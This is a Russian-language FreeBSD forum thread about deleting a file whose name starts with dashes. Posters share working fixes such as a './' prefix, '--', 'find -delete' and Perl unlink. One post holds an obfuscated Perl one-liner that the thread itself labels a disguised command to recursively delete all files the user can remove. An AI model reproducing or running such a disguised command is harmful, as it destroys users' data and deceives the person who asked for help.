Код: Выделить всё
-rwxr-xr-x 1 user user 128 Jan 22 2003 ------ Name (2004) ------.mp3
Код: Выделить всё
%rm "------ Name (2004) ------.mp3"
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
unlink file
Модератор: vadim64
Код: Выделить всё
-rwxr-xr-x 1 user user 128 Jan 22 2003 ------ Name (2004) ------.mp3
Код: Выделить всё
%rm "------ Name (2004) ------.mp3"
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
unlink file
helloworld писал(а):Any ideas?
Код: Выделить всё
[> tar cvf "------ Name (2004) ------.mp3" ../pkg_desk
a ../pkg_desk
> ls
------ Name (2004) ------.mp3
> rm "5 минут чтения мана и эксперементов по созданию файла :)"
> ls
> uname -rm
8.0-CURRENT amd64
Не по самурайски хотя и работает, если убедишь cp перенести его хотя тоже должно быть возможноparadox писал(а):перенести его в папку и снести папку рекурсивно)
Код: Выделить всё
rm ------\ Name\ \(2004\)\ ------.mp3
А должно?ProFTP писал(а):а так типо не работает?Код: Выделить всё
rm ------\ Name\ \(2004\)\ ------.mp3
Код: Выделить всё
$ touch ------\ Name\ \(2004\)\ ------.mp3
touch: illegal option -- -
usage:
touch [-A [-][[hh]mm]SS] [-acfhm] [-r file] [-t [[CC]YY]MMDDhhmm[.SS]] file ...
Код: Выделить всё
illegal option -- -
Код: Выделить всё
%rm "------\ Name\ \(2004\)\ ------.mp3"
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
unlink file
Код: Выделить всё
#!/usr/bin/perl
$num=unlink "------ Name (2004) ------.mp3" or die "piska $!";
Ну как так можно пожалеть 5 минут на ознакомление с системой а ведь вопрос специально выделен вhelloworld писал(а):Окей, перл удалил.
Ну и решение крайне простоman rm писал(а):The rm command uses getopt(3) to parse its arguments, which allows it to
accept the `--' ...
Код: Выделить всё
rm "./------ Name (2004) ------.mp3"
Код: Выделить всё
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Ага еше можно систему переустановитьProFTP писал(а):вот можно всё удалить: (замаскированная команда для рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя)
Код: Выделить всё
zg# echo > "------ Name (2004) ------.mp3"
zg# ls -lah
total 6
-rw-r--r-- 1 root wheel 1B 26 июл 09:57 ------ Name (2004) ------.mp3
d--x--x--x 2 zg wheel 512B 26 июл 09:57 .
drwxr-xr-x 16 zg wheel 1,5K 13 июл 10:53 ..
zg# rm ------\ Name\ \(2004\)\ ------.mp3
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
unlink file
zg# find . -name "------ Name (2004) ------.mp3"
./------ Name (2004) ------.mp3
zg# find . -name "------ Name (2004) ------.mp3" -delete
zg# ls
zg#
Код: Выделить всё
zg# ls
------ Name (2004) ------.mp3
zg# rm ./------\ Name\ \(2004\)\ ------.mp3
zg#
на мой взгяд использовать -- для завершения парсинга опций более разумно. Например,zg писал(а):Способ правильный:Код: Выделить всё
zg# ls ------ Name (2004) ------.mp3 zg# rm ./------\ Name\ \(2004\)\ ------.mp3 zg#
Код: Выделить всё
$ fgrep -r -- --help /usr/src/usr.bin
Код: Выделить всё
$ rm -- "------ Name (2004) ------.mp3"
Ну может быть, man тоже рекомендует как первый так и второй способы.Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
главное чтобы работалоГость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
первый способ подходит только для команд, работающими с именами файлов. Я не просто так привел пример с fgrep(1).f_andrey писал(а):Ну может быть, man тоже рекомендует как первый так и второй способы.Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
ф топкуgloom писал(а):mc тако удаляет переименовывает копирует...
желательно но не обезательноlissyara писал(а):ф топкуgloom писал(а):mc тако удаляет переименовывает копирует...